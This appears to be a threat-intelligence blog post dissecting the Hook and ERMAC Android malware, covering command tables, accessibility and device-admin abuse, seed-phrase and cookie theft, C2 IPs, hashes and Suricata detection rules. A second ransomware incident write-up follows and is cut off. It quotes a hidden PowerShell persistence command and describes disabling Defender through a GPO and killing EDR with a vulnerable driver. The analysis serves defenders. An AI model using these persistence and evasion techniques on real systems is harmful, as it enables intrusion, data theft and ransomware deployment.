Authored by Joshua Kamp (main author) and Alberto Segura.

Summary

Hook and ERMAC are Android based malware families that are both advertised by the actor named “DukeEugene”. Hook is the latest variant to be released by this actor and was first announced at the start of 2023. In this announcement, the actor claims that Hook was written from scratch [1]. In our research, we have analysed two samples of Hook and two samples of ERMAC to further examine the technical differences between these malware families.

After our investigation, we concluded that the ERMAC source code was used as a base for Hook. All commands (30 in total) that the malware operator can send to a device infected with ERMAC malware, also exist in Hook. The code implementation for these commands is nearly identical. The main features in ERMAC are related to sending SMS messages, displaying a phishing window on top of a legitimate app, extracting a list of installed applications, SMS messages and accounts, and automated stealing of recovery seed phrases for multiple cryptocurrency wallets.

Hook has introduced a lot of new features, with a total of 38 additional commands when comparing the latest version of Hook to ERMAC. The most interesting new features in Hook are: streaming the victim’s screen and interacting with the interface to gain complete control over an infected device, the ability to take a photo of the victim using their front facing camera, stealing of cookies related to Google login sessions, and the added support for stealing recovery seeds from additional cryptocurrency wallets.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the closing of the project was announced on April 19th, 2023, due to “leaving for special military operation”. On May 11th, 2023, the actors claimed that the source code of Hook was sold at a price of $70.000. If these announcements are true, it could mean that we will see interesting new versions of Hook in the future.

The launch of Hook

On the 12th of January 2023, DukeEugene started advertising a new Android botnet to be available for rent: Hook.

Hook malware is designed to steal personal information from its infected users. It contains features such as keylogging, injections/overlay attacks to display phishing windows over (banking) apps (more on this in the “Overlay attacks” section of this blog), and automated stealing of cryptocurrency recovery seeds.

Financial gain seems to be the main motivator for operators that rent Hook, but the malware can be used to spy on its victims as well. Hook is rented out at a cost of $7.000 per month.

The malware was advertised with a wide range of functionality in both the control panel and build itself, and a snippet of this can be seen in the screenshot below.

Command comparison

Analyst’s note: The package names and file hashes that were analysed for this research can be found in the “Analysed samples” section at the end of this blog post.

While checking out the differences in these malware families, we compared the C2 commands (instructions that are sent by the malware operator to the infected device) in each sample. This analysis did lead us to find several new commands and features on Hook, as can be seen just looking at the number of commands implemented in each variant.

Sample	Number of commands
Hook sample #1	58
Hook sample #2	68
Ermac sample #1 #2	30

All 30 commands that exist in ERMAC also exist in Hook. Most of these commands are related to sending SMS messages, updating and starting injections, extracting a list of installed applications, SMS messages and accounts, and starting another app on the victim’s device (where cryptocurrency wallet apps are the main target). While simply launching another app may not seem that malicious at first, you will think differently after learning about the automated features in these malware families.

Both Hook and ERMAC contain automated functionality for stealing recovery seeds from cryptocurrency wallets. These can be used to gain access to the victim’s cryptocurrency. We will dive deeper into this feature later in the blog.

When comparing Hook to ERMAC, 29 new commands have been added to the first sample of Hook that we analysed, and the latest version of Hook contains 9 additional commands on top of that. Most of the commands that were added in Hook are related to interacting with the user interface (UI).

Hook command: start_vnc

The UI interaction related commands (such as “clickat” to click on a specific UI element and “longpress” to dispatch a long press gesture) in Hook go hand in hand with the new “start_vnc” command, which starts streaming the victim’s screen.

In the code snippet above we can see that the createScreenCaptureIntent() method is called on the MediaProjectionManager, which is necessary to start screen capture on the device. Along with the many commands to interact with the UI, this allows the malware operator to gain complete control over an infected device and perform actions on the victim’s behalf.

Command implementation

For the commands that are available in both ERMAC and Hook, the code implementation is nearly identical. Take the “logaccounts” command for example:

This command is used to obtain a list of available accounts by their name and type on the victim’s device. When comparing the code, it’s clear that the logging messages are the main difference. This is the case for all commands that are present in both ERMAC and Hook.

Russian commands

Both ERMAC and the Hook v1 sample that we analysed contain some rather edgy commands in Russian, that do not provide any useful functionality.

The command above translates to “Die_he_who_reversed_this“.

All the Russian commands create a file named “system.apk” in the “apk” directory and immediately deletes it. It appears that the authors have recently adapted their approach to managing a reputable business, as these commands were removed in the latest Hook sample that we analysed.

New commands in Hook V2

In the latest versions of Hook, the authors have added 9 additional commands compared to the first Hook sample that we analysed. These commands are:

Command	Description
send_sms_many	Sends an SMS message to multiple phone numbers
addwaitview	Displays a “wait / loading” view with a progress bar, custom background colour, text colour, and text to be displayed
removewaitview	Removes the “wait / loading” view that is displayed on the victim’s device because of the “addwaitview” command
addview	Adds a new view with a black background that covers the entire screen
removeview	Removes the view with the black background that was added by the “addview” command
cookie	Steals session cookies (targets victim’s Google account)
safepal	Starts the Safepal Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
exodus	Starts the Exodus Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
takephoto	Takes a photo of the victim using the front facing camera

One of the already existing commands, “onkeyevent”, also received a new payload option: “double_tap”. As the name suggests, this performs a double tap gesture on the victim’s screen, providing the malware operator with extra functionality to interact with the victim’s device user interface.

More interesting additions are: the support for stealing recovery seed phrases from other crypto wallets (Safepal and Exodus), taking a photo of the victim, and stealing session cookies. Session cookie stealing appears to be a popular trend in Android malware, as we have observed this feature being added to multiple malware families. This is an attractive feature, as it allows the actor to gain access to user accounts without needing the actual login credentials.

Device Admin abuse

Besides adding new commands, the authors have added more functionality related to the “Device Administration API” in the latest version of Hook. This API was developed to support enterprise apps in Android. When an app has device admin privileges, it gains additional capabilities meant for managing the device. This includes the ability to enforce password policies, locking the screen and even wiping the device remotely. As you may expect: abuse of these privileges is often seen in Android malware.

DeviceAdminReceiver and policies

To implement custom device admin functionality in a new class, it should extend the “DeviceAdminReceiver”. This class can be found by examining the app’s Manifest file and searching for the receiver with the “BIND_DEVICE_ADMIN” permission or the “DEVICE_ADMIN_ENABLED” action.

In the screenshot above, you can see an XML file declared as follows: android:resource=”@xml/buyanigetili. This file will contain the device admin policies that can be used by the app. Here’s a comparison of the device admin policies in ERMAC, Hook 1, and Hook 2:

Comparing Hook to ERMAC, the authors have removed the “WIPE_DATA” policy and added the “RESET_PASSWORD” policy in the first version of Hook. In the latest version of Hook, the “DISABLE_KEYGUARD_FEATURES” and “WATCH_LOGIN” policies were added. Below you’ll find a description of each policy that is seen in the screenshot.

Device Admin Policy	Description
USES_POLICY_FORCE_LOCK	The app can lock the device
USES_POLICY_WIPE_DATA	The app can factory reset the device
USES_POLICY_RESET_PASSWORD	The app can reset the device’s password/pin code
USES_POLICY_DISABLE_KEYGUARD_FEATURES	The app can disable use of keyguard (lock screen) features, such as the fingerprint scanner
USES_POLICY_WATCH_LOGIN	The app can watch login attempts from the user

The “DeviceAdminReceiver” class in Android contains methods that can be overridden. This is done to customise the behaviour of a device admin receiver. For example: the “onPasswordFailed” method in the DeviceAdminReceiver is called when an incorrect password is entered on the device. This method can be overridden to perform specific actions when a failed login attempt occurs. In ERMAC and Hook 1, the class that extends the DeviceAdminReceiver only overrides the onReceive() method and the implementation is minimal:

The onReceive() method is the entry point for broadcasts that are intercepted by the device admin receiver. In ERMAC and Hook 1 this only performs a check to see whether the received parameters are null and will throw an exception if they are.

DeviceAdminReceiver additions in latest version of Hook

In the latest edition of Hook, the class to extend the DeviceAdminReceiver does not just override the “onReceive” method. It also overrides the following methods:

Device Admin Method	Description
onDisableRequested()	Called when the user attempts to disable device admin. Gives the developer a chance to present a warning message to the user
onDisabled()	Called prior to device admin being disabled. Upon return, the app can no longer use the protected parts of the DevicePolicyManager API
onEnabled()	Called after device admin is first enabled. At this point, the app can use “DevicePolicyManager” to set the desired policies
onPasswordFailed()	Called when the user has entered an incorrect password for the device
onPasswordSucceeded()	Called after the user has entered a correct password for the device

When the victim attempts to disable device admin, a warning message is displayed that contains the text “Your mobile is die”.

The fingerprint scanner will be disabled when an incorrect password was entered on the victim’s device. Possibly to make it easier to break into the device later, by forcing the victim to enter their PIN and capturing it.

All keyguard (lock screen) features are enabled again when a correct password was entered on the victim’s device.

Overlay attacks

Overlay attacks, also known as injections, are a popular tactic to steal credentials on Android devices. When an app has permission to draw overlays, it can display content on top of other apps that are running on the device. This is interesting for threat actors, because it allows them to display a phishing window over a legitimate app. When the victim enters their credentials in this window, the malware will capture them.

Both ERMAC and Hook use web injections to display a phishing window as soon as it detects a targeted app being launched on the victim’s device.

In the screenshot above, you can see how ERMAC and Hook set up a WebView component and load the HTML code to be displayed over the target app by calling webView5.loadDataWithBaseURL(null, s6, “text/html”, “UTF-8”, null) and this.setContentView() on the WebView object. The “s6” variable will contain the data to be loaded. The main functionality is the same for both variants, with Hook having some additional logging messages.

The importance of accessibility services

Accessibility Service abuse plays an important role when it comes to web injections and other automated feature in ERMAC and Hook. Accessibility services are used to assist users with disabilities, or users who may temporarily be unable to fully interact with their Android device. For example: users that are driving might need additional or alternative interface feedback. Accessibility services run in the background and receive callbacks from the system when AccessibilityEvent is fired. Apps with accessibility service can have full visibility over UI events, both from the system and from 3rd party apps. They can receive notifications, they can get the package name, list UI elements, extract text, and more. While these services are meant to assist users, they can also be abused by malicious apps for activities such as: keylogging, automatically granting itself additional permissions, and monitoring foreground apps and overlaying them with phishing windows.

When ERMAC or Hook malware is first launched, it prompts the victim with a window that instructs them to enable accessibility services for the malicious app.

A warning message is displayed before enabling the accessibility service, which shows what actions the app will be able to perform when this is enabled.

With accessibility services enabled, ERMAC and Hook malware automatically grants itself additional permissions such as permission to draw overlays. The onAccessibilityEvent() method monitors the package names from received accessibility events, and the web injection related code will be executed when a target app is launched.

Targeted applications

When the infected device is ready to communicate with the C2 server, it sends a list of applications that are currently installed on the device. The C2 server then responds with the target apps that it has injections for. While dynamically analysing the latest version of Hook, we sent a custom HTTP request to the C2 server to make it believe that we have a large amount of apps (700+) installed. For this, we used the list of package names that CSIRT KNF had shared in an analysis report of Hook [2].

The server responded with the list of target apps that the malware can display phishing windows for. Most of the targeted apps in both Hook and ERMAC are related to banking.

Keylogging

Keylogging functionality can be found in the onAccessibilityEvent() method of both ERMAC and Hook. For every accessibility event type that is triggered on the infected device, a method is called that contains keylogger functionality. This method then checks what the accessibility event type was to label the log and extracts the text from it. Comparing the code implementation of keylogging in ERMAC to Hook, there are some slight differences in the accessibility event types that it checks for. But the main functionality of extracting text and sending it to the C2 with a certain label is the same.

The ERMAC keylogger contains an extra check for accessibility event “TYPE_VIEW_SELECTED” (triggered when a user selects a view, such as tapping on a button). Accessibility services can extract information about a selected view, such as the text, and that is exactly what is happening here.

Hook specifically checks for two other accessibility events: the “TYPE_WINDOW_STATE_CHANGED” event (triggered when the state of an active window changes, for example when a new window is opened) or the “TYPE_WINDOW_CONTENT_CHANGED” event (triggered when the content within a window changes, like when the text within a window is updated).

It checks for these events in combination with the content change type

“CONTENT_CHANGE_TYPE_TEXT” (indicating that the text of an UI element has changed). This tells us that the accessibility service is interested in changes of the textual content within a window, which is not surprising for a keylogger.

Stealing of crypto wallet seed phrases

Automatic stealing of recovery seeds from crypto wallets is one of the main features in ERMAC and Hook. This feature is actively developed, with support added for extra crypto wallets in the latest version of Hook.

For this feature, the accessibility service first checks if a crypto wallet app has been opened. Then, it will find UI elements by their ID (such as “com.wallet.crypto.trustapp:id/wallets_preference” and “com.wallet.crypto.trustapp:id/item_wallet_info_action”) and automatically clicks on these elements until it navigated to the view that contains the recovery seed phrase. For the crypto wallet app, it will look like the user is browsing to this phrase by themselves.

Once the window with the recovery seed phrase is reached, it will extract the words from the recovery seed phrase and send them to the C2 server.

The main implementation is the same in ERMAC and Hook for this feature, with Hook containing some extra logging messages and support for stealing seed phrases from additional cryptocurrency wallets.

Replacing copied crypto wallet addresses

Besides being able to automatically steal recovery seeds from opened crypto wallet apps, ERMAC and Hook can also detect whether a wallet address has been copied and replaces the clipboard with their own wallet address. It does this by monitoring for the “TYPE_VIEW_TEXT_CHANGED” event, and checking whether the text matches a regular expression for Bitcoin and Ethereum wallet addresses. If it matches, it will replace the clipboard text with the wallet address of the threat actor.

The wallet addresses that the actors use in both ERMAC and Hook are bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf for Bitcoin and 0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca for Ethereum. It’s worth mentioning that these wallet addresses are the same in all samples that we analysed. It appears that this feature has not been very successful for the actors, as they have received only two transactions at the time of writing.

Since the feature has been so unsuccessful, we assume that both received transactions were initiated by the actors themselves. The latest transaction was received from a verified Binance exchange wallet, and it’s unlikely that this comes from an infected device. The other transaction comes from a wallet that could be owned by the Hook actors.

Stealing of session cookies

The “cookie” command is exclusive to Hook and was only added in the latest version of this malware. This feature allows the malware operator to steal session cookies in order to take over the victim’s login session. To do so, a new WebViewClient is set up. When the victim has logged onto their account, the onPageFinished() method of the WebView will be called and it sends the stolen cookies to the C2 server.

All cookie stealing code is related to Google accounts. This is in line with DukeEugene’s announcement of new features that were posted about on April 1st, 2023. See #12 in the screenshot below.

C2 communication protocol

HTTP in ERMAC

ERMAC is known to use the HTTP protocol for communicating with the C2 server, where data is encrypted using AES-256-CBC and then Base64 encoded. The bot sends HTTP POST requests to a randomly generated URL that ends with “.php/” (note that the IP of the C2 server remains the same).

WebSockets in Hook

The first editions of Hook introduced WebSocket communication using Socket.IO, and data is encrypted using the same mechanism as in ERMAC. The Socket.IO library is built on top of the WebSocket protocol and offers low-latency, bidirectional and event-based communication between a client and a server. Socket.IO provides additional guarantees such as fallback to the HTTP protocol and automatic reconnection [3].

The screenshot above shows that the login command was issued to the server, with the user ID of the infected device being sent as encrypted data. The “42” at the beginning of the message is standard in Socket.IO, where the “4” stands for the Engine.IO “message” packet type and the “2” for Socket.IO’s “message” packet type [3].

Mix and match – Protocols in latest versions of Hook

The latest Hook version that we’ve analysed contains the ERMAC HTTP protocol implementation, as well as the WebSocket implementation which already existed in previous editions of Hook. The Hook code snippet below shows that it uses the exact same code implementation as observed in ERMAC to build the URLs for HTTP requests.

Both Hook and ERMAC use the “checkAP” command to check for commands sent by the C2 server. In the screenshot below, you can see that the malware operator sent the “killme” command to the infected device to uninstall Hook. This shows that the ERMAC HTTP protocol is actively used in the latest versions of Hook, together with the already existing WebSocket implementation.

C2 servers

During our investigation into the technical differences between Hook and ERMAC, we have also collected C2 servers related to both families. From these servers, Russia is clearly the preferred country for hosting Hook and ERMAC C2s. We have identified a total of 23 Hook C2 servers that are hosted in Russia.

Other countries that we have found ERMAC and Hook are hosted in are:

• The Netherlands
• United Kingdom
• United States
• Germany
• France
• Korea
• Japan

The end?

On the 19th of April 2023, DukeEugene announced that they are closing the Hook project due to leaving for “special military operation”. The actor mentions that the coder of the Hook project, who goes by the nickname “RedDragon”, will continue to support their clients until their lease runs out.

Two days prior to this announcement, the coder of Hook created a post stating that the source code of Hook is for sale at a price of $70.000. Nearly a month later, on May 11th, the coder asked if the thread could be closed as the source code was sold.

Observations

In the “Replacing copied crypto wallet addresses” section of this blog, we mentioned that the first received transaction comes from an Ethereum wallet address that could possibly be owned by the Hook actors. We noticed that this wallet received a transaction of roughly $25.000 the day after Hook was announced sold. This could be a coincidence, but the fact that this wallet was also the first to send (a small amount of) money to the Ethereum address that is hardcoded in Hook and ERMAC makes us suspect this.

We can’t verify whether the messages from DukeEugene and RedDragon are true. But if they are, we expect to see interesting new forks of Hook in the future.

In this blog we’ve debunked DukeEugene’s statement of Hook being fully developed from scratch. Additionally, in DukeEugene’s advertisement of HookBot we see a screenshot of the Hook panel that seemed to show similarities with ERMAC’s panel.

Conclusion

While the actors of Hook had announced that the malware was written from scratch, it is clear that the ERMAC source code was used as a base. All commands that are present in ERMAC also exist in Hook, and the code implementation of these commands is nearly identical in both malware families. Both Hook and ERMAC contain typical features to steal credentials which are common in Android malware, such as overlay attacks/injections and keylogging. Perhaps a more interesting feature that exists in both malware families is the automated stealing of recovery seeds from cryptocurrency wallets.

While Hook was not written completely from scratch, the authors have added interesting new features compared to ERMAC. With the added capability of being able to stream the victim’s screen and interacting with the UI, operators of Hook can gain complete control over infected devices and perform actions on the user’s behalf. Other interesting new features include the ability to take a photo of the victim using their front facing camera, stealing of cookies related to Google login sessions, and the added support for stealing recovery seeds from additional cryptocurrency wallets.

Besides these new features, significant changes were made in the protocol for communicating with the C2 server. The first versions of Hook introduced WebSocket communication using the Socket.IO library. The latest version of Hook added the HTTP protocol implementation that was already present in ERMAC and can use this next to WebSocket communication.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the closing of the project was announced on April 19th, 2023, with the actor claiming that he is leaving for “special military operation”. The coder of Hook has allegedly put the source code up for sale at a price of $70,000 and stated that it was sold on May 11th, 2023. If these announcements are true, it could mean that we will see interesting new forks of Hook in the future.

Indicators of Compromise

Analysed samples

Family	Package name	File hash (SHA-256)
Hook	com.lojibiwawajinu.guna	c5996e7a701f1154b48f962d01d457f9b7e95d9c3dd9bbd6a8e083865d563622
Hook	com.wawocizurovi.gadomi	d651219c28eec876f8961dcd0a0e365df110f09b7ae72eccb9de8c84129e23cb
ERMAC	com.cazojowiruje.tutado	e0bd84272ea93ea857cc74a745727085cf214eef0b5dcaf3a220d982c89cea84
ERMAC	com.jakedegivuwuwe.yewo	6d8707da5cb71e23982bd29ac6a9f6069d6620f3bc7d1fd50b06e9897bc0ac50

C2 servers

Family	IP address
Hook	5.42.199[.]22
Hook	45.81.39[.]149
Hook	45.93.201[.]92
Hook	176.100.42[.]11
Hook	91.215.85[.]223
Hook	91.215.85[.]37
Hook	91.215.85[.]23
Hook	185.186.246[.]69
ERMAC	5.42.199[.]91
ERMAC	31.41.244[.]187
ERMAC	45.93.201[.]92
ERMAC	92.243.88[.]25
ERMAC	176.113.115[.]66
ERMAC	165.232.78[.]246
ERMAC	51.15.150[.]5
ERMAC	176.100.42[.]11
ERMAC	91.215.85[.]22
ERMAC	35.91.53[.]224
ERMAC	193.106.191[.]148
ERMAC	20.249.63[.]72
ERMAC	62.204.41[.]98
ERMAC	193.106.191[.]121
ERMAC	193.106.191[.]116
ERMAC	176.113.115[.]150
ERMAC	91.213.50[.]62
ERMAC	193.106.191[.]118
ERMAC	5.42.199[.]3
ERMAC	193.56.146[.]176
ERMAC	62.204.41[.]94
ERMAC	176.113.115[.]67
ERMAC	108.61.166[.]245
ERMAC	45.159.248[.]25
ERMAC	20.108.0[.]165
ERMAC	20.210.252[.]118
ERMAC	68.178.206[.]43
ERMAC	35.90.154[.]240

Network detection

The following Suricata rules were tested successfully against Hook network traffic:

	# Detection for Hook/ERMAC mobile malware
	alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Mobile Malware – Possible Hook/ERMAC HTTP POST"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/php/"; depth:5; content:".php/"; isdataat:!1,relative; fast_pattern; pcre:"/^\/php\/[a-z0-9]{1,21}\.php\/$/U"; classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at 2023-06-02; metadata:updated_at 2023-06-07; sid:21004440; rev:2;)
	alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Mobile Malware – Possible Hook Websocket Packet Observed (login)"; content:"|81|"; depth:1; byte_test:1,&,0x80,1; luajit:hook.lua; classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at 2023-06-02; metadata:updated_at 2023-06-07; sid:21004441; rev:2;)

view raw hook.rules hosted with ❤ by GitHub

The second Suricata rule uses an additional Lua script, which can be found here

List of Commands

Family	Command	Description
ERMAC, Hook 1 2	sendsms	Sends a specified SMS message to a specified number. If the SMS message is too large, it will send the message in multiple parts
ERMAC, Hook 1 2	startussd	Executes a given USSD code on the victim’s device
ERMAC, Hook 1 2	forwardcall	Sets up a call forwarder to forward all calls to the specified number in the payload
ERMAC, Hook 1 2	push	Displays a push notification on the victim’s device, with a custom app name, title, and text to be edited by the malware operator
ERMAC, Hook 1 2	getcontacts	Gets list of all contacts on the victim’s device
ERMAC, Hook 1 2	getaccounts	Gets a list of the accounts on the victim’s device by their name and account type
ERMAC, Hook 1 2	logaccounts	Gets a list of the accounts on the victim’s device by their name and account type
ERMAC, Hook 1 2	getinstallapps	Gets a list of the installed apps on the victim’s device
ERMAC, Hook 1 2	getsms	Steals all SMS messages from the victim’s device
ERMAC, Hook 1 2	startinject	Performs a phishing overlay attack against the given application
ERMAC, Hook 1 2	openurl	Opens the specified URL
ERMAC, Hook 1 2	startauthenticator2	Starts the Google Authenticator app
ERMAC, Hook 1 2	trust	Launches the Trust Wallet app
ERMAC, Hook 1 2	mycelium	Launches the Mycelium Wallet app
ERMAC, Hook 1 2	piuk	Launches the Blockchain Wallet app
ERMAC, Hook 1 2	samourai	Launches the Samourai Wallet app
ERMAC, Hook 1 2	bitcoincom	Launches the Bitcoin Wallet app
ERMAC, Hook 1 2	toshi	Launches the Coinbase Wallet app
ERMAC, Hook 1 2	metamask	Launches the Metamask Wallet app
ERMAC, Hook 1 2	sendsmsall	Sends a specified SMS message to all contacts on the victim’s device. If the SMS message is too large, it will send the message in multiple parts
ERMAC, Hook 1 2	startapp	Starts the app specified in the payload
ERMAC, Hook 1 2	clearcash	Sets the “autoClickCache” shared preference key to value 1, and launches the “Application Details” setting for the specified app (probably to clear the cache)
ERMAC, Hook 1 2	clearcache	Sets the “autoClickCache” shared preference key to value 1, and launches the “Application Details” setting for the specified app (probably to clear the cache)
ERMAC, Hook 1 2	calling	Calls the number specified in the “number” payload, tries to lock the device and attempts to hide and mute the application
ERMAC, Hook 1 2	deleteapplication	Uninstalls a specified application
ERMAC, Hook 1 2	startadmin	Sets the “start_admin” shared preference key to value 1, which is probably used as a check before attempting to gain Device Admin privileges (as seen in Hook samples)
ERMAC, Hook 1 2	killme	Stores the package name of the malicious app in the “killApplication” shared preference key, in order to uninstall it. This is the kill switch for the malware
ERMAC, Hook 1 2	updateinjectandlistapps	Gets a list of the currently installed apps on the victim’s device, and downloads the injection target lists
ERMAC, Hook 1 2	gmailtitles	Sets the “gm_list” shared preference key to the value “start” and starts the Gmail app
ERMAC, Hook 1 2	getgmailmessage	Sets the “gm_mes_command” shared preference key to the value “start” and starts the Gmail app
Hook 1 2	start_vnc	Starts capturing the victim’s screen constantly (streaming)
Hook 1 2	stop_vnc	Stops capturing the victim’s screen constantly (streaming)
Hook 1 2	takescreenshot	Takes a screenshot of the victim’s device (note that it starts the same activity as for the “start_vnc” command, but it does so without the extra “streamScreen” set to true to only take one screenshot)
Hook 1 2	swipe	Performs a swipe gesture with the specified 4 coordinates
Hook 1 2	swipeup	Perform a swipe up gesture
Hook 1 2	swipedown	Performs a swipe down gesture
Hook 1 2	swipeleft	Performs a swipe left gesture
Hook 1 2	swiperight	Performs a swipe right gesture
Hook 1 2	scrollup	Performs a scroll up gesture
Hook 1 2	scrolldown	Performs a scroll down gesture
Hook 1 2	onkeyevent	Performs a certain action depending on the specified key payload (POWER DIALOG, BACK, HOME, LOCK SCREEN, or RECENTS
Hook 1 2	onpointerevent	Sets X and Y coordinates and performs an action based on the payload text provided. Three options: “down”, “continue”, and “up”. It looks like these payload texts work together, as in: it first sets the starting coordinates where it should press down, then it sets the coordinates where it should draw a line to from the previous starting coordinates, then it performs a stroke gesture using this information
Hook 1 2	longpress	Dispatches a long press gesture at the specified coordinates
Hook 1 2	tap	Dispatches a tap gesture at the specified coordinates
Hook 1 2	clickat	Clicks at a specific UI element
Hook 1 2	clickattext	Clicks on the UI element with a specific text value
Hook 1 2	clickatcontaintext	Clicks on the UI element that contains the payload text
Hook 1 2	cuttext	Replaces the clipboard on the victim’s device with the payload text
Hook 1 2	settext	Sets a specified UI element to the specified text
Hook 1 2	openapp	Opens the specified app
Hook 1 2	openwhatsapp	Sends a message through Whatsapp to the specified number
Hook 1 2	addcontact	Adds a new contact to the victim’s device
Hook 1 2	getcallhistory	Gets a log of the calls that the victim made
Hook 1 2	makecall	Calls the number specified in the payload
Hook 1 2	forwardsms	Sets up an SMS forwarder to forward the received and sent SMS messages from the victim device to the specified number in the payload
Hook 1 2	getlocation	Gets the geographic coordinates (latitude and longitude) of the victim
Hook 1 2	getimages	Gets list of all images on the victim’s device
Hook 1 2	downloadimage	Downloads an image from the victim’s device
Hook 1 2	fmmanager	Either lists the files at a specified path (additional parameter “ls”), or downloads a file from the specified path (additional parameter “dl”)
Hook 2	send_sms_many	Sends an SMS message to multiple phone numbers
Hook 2	addwaitview	Displays a “wait / loading” view with a progress bar, custom background colour, text colour, and text to be displayed
Hook 2	removewaitview	Removes a “RelativeLayout” view group, which displays child views together in relative positions. More specifically: this command removes the “wait / loading” view that is displayed on the victim’s device as a result of the “addwaitview” command
Hook 2	addview	Adds a new view with a black background that covers the entire screen
Hook 2	removeview	Removes a “LinearLayout” view group, which arranges other views either horizontally in a single column or vertically in a single row. More specifically: this command removes the view with the black background that was added by the “addview” command
Hook 2	cookie	Steals session cookies (targets victim’s Google account)
Hook 2	safepal	Starts the Safepal Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
Hook 2	exodus	Starts the Exodus Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
Hook 2	takephoto	Takes a photo of the victim using the front facing camera

References

[1] – https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities
[2] – https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware
[3] – https://socket.io/docs/v4/

Unveiling the Dark Side: A Deep Dive into Active Ransomware Families

Author: Ross Inman (@rdi_x64)

Introduction

Our technical experts have written a blog series focused on Tactics, Techniques and Procedures (TTP’s) deployed by four ransomware families recently observed during NCC Group’s incident response engagements.  

In case you missed it, last time we analysed an Incident Response engagement involving BlackCat Ransomware. In this instalment, we take a deeper dive into the D0nut extortion group. 

The D0nut extortion group was first reported in August 2022 for breaching networks and demanding ransoms in return for not leaking stolen data. A few months later, reports of the group utilizing encryption as well as data exfiltration were released with speculation that the ransomware deployed by the group was linked to HelloXD ransomware. There is also suspected links between D0nut affiliates and both Hive and Ragnar Locker ransomware operations. 

Summary 

Tl;dr 

This post explores some of the TTPs employed by a threat actor who was observed deploying D0nut ransomware during an incident response engagement. 

Below provides a summary of findings which are presented in this blog post: 

• Heavy use of Cobalt Strike Beacons to laterally move throughout the compromised network.  
• Deployment of SystemBC to establish persistence.  
• Modification of a legitimate GPO to disable Windows Defender across the domain.  
• Leveraging a BYOVD to terminate system-level processes which may interfere with the deployment of ransomware.  
• Use of RDP to perform lateral movement and browse folders to identify data for exfiltration.  
• Data exfiltration over SFTP using Rclone.  
• Deployment of D0nut ransomware.  

D0nut

D0nut leaks is a group that emerged during Autumn of 2022 and was initially reported to be performing intrusions into networks with an aim of exfiltrating data which they would then hold to ransom, without encrypting any files¹.  Further down the line, the group were seen adopting the double-extortion approach². This includes encrypting files and holding the decryption key for ransom, as well as threatening to publish the stolen data should the ransom demand not be met.   

Numerous potential links have been made to other ransomware groups and affiliates, with the ransomware encryptor reportedly sharing similarities with the HelloXD ransomware strain. Indications of a link were observed through the filenames of the ransomware executable deployed throughout the incident, with the filenames being xd.exe and wxd7.exe. However, it should be noted that this alone is not compelling evidence to indicate a link between the ransomware strains.  

Incident Overview  

Once the threat actor had gained their foothold within the network, they conducted lateral movement with a focus on the following objectives: 

• Compromise a host which stores sensitive data which can be targeted for exfiltration.  
• Compromise a domain controller.  

Cobalt Strike was heavily utilised to deploy Beacon, the payload generated by Cobalt Strike, to multiple hosts on the network so the threat actor could extend their access and visibility. 

A Remote Desktop Protocol (RDP) session was established to a file server, which allowed the threat actor to browse the file system and identify folders of interest to target for exfiltration. Data exfiltration was conducted using Rclone to upload files to a Secure File Transfer Protocol (SFTP) server controlled by the threat actor. Rclone allows for uploading of files directly from folders to cloud storage, meaning the threat actor did not need to perform any data staging prior to the upload.  

Before deploying the ransomware, the threat actor deployed malware capable of leveraging a driver, which has been used by other ransomware groups³, to terminate any anti-virus (AV) or endpoint detection and response (EDR) processes running on the system; this technique is known as bring your own vulnerable driver (BYOVD). Additionally, the threat actor modified a pre-existing group policy object (GPO) and appended configuration that would prevent Windows Defender from interfering with any malware that was dropped on the systems.  

Ransomware was deployed to both user workstations and servers on the compromised domain. An ESXi server was also impacted, resulting in the hosted virtual machines suffering encryption that was performed at the hypervisor level.  

The total time from initial access to encryption is believed to be less than a week.  

TTPs 

Lateral Movement 

The following methods were utilised to move laterally throughout the victim network: 

• Cobalt Strike remotely installed temporary services on targeted hosts which executed Beacon, triggering a call back to the command and control (C2) server and providing the operator access to the system. An example command line of what the services were configured to run is provided below:

• RDP sessions were established using compromised domain accounts.  
• PsExec was also used to facilitate remote command execution across hosts. 

Persistence

The threat actor used SystemBC to establish persistence within the environment. The malware was set to execute whenever a user logs in to the system, which was achieved by modifying the registry key Software\Microsoft\Windows\CurrentVersion\Run within the DEFAULT registry hive (please note this is not referring to the hive located at C:\Users\DEFAULT\NTUSER.dat, but the hive located at C:\Windows\System32\config\DEFAULT). An entry was created under the run key which ran the following command, resulting in execution of SystemBC: 

powershell.exe -windowstyle hidden -Command ” ‘C:\programdata\explorer.exe'” 

Defense Evasion

As part of their efforts to evade interference from security software, the threat actor made use of two files, d.dll and def.exe, which were responsible for dropping the vulnerable driver RTCore64.sys, which has reportedly been exploited by other ransomware groups to disable AV and EDR solutions. The files were dropped in the following folders: 

• C:\temp\ 
• C:\ProgramData\ 

Analysis of def.exe identified that the program escalated privileges via process injection, allowing it to terminate any system-level processes not present in its internally stored whitelist.   

The threat actor took additional measures by appending registry configurations to a pre-existing GPO that would disable detection and prevention functionality of Windows Defender. Exclusions for all files with a .exe or .dll extension were also set, along with exclusions for files within the C:\ProgramData\ and C:\directories. The below configuration was applied across all hosts present on the compromised domain:  

Command and Control

Cobalt Strike Beacons were heavily utilised to maintain a presence within the network and to extend access via lateral movement.  

SystemBC was also deployed sparingly and appeared to be purely for establishing persistence within the network. SystemBC is a commodity malware backdoor which leverages SOCKS proxying for covert channelling of C2 communications to the operator. Serving as a proxy, SystemBC becomes a conduit for other malware deployed by threat actors to tunnel C2 traffic. Additionally, certain variants facilitate downloading and execution of further payloads, such as shellcode or PowerShell scripts issued by the threat actor.  

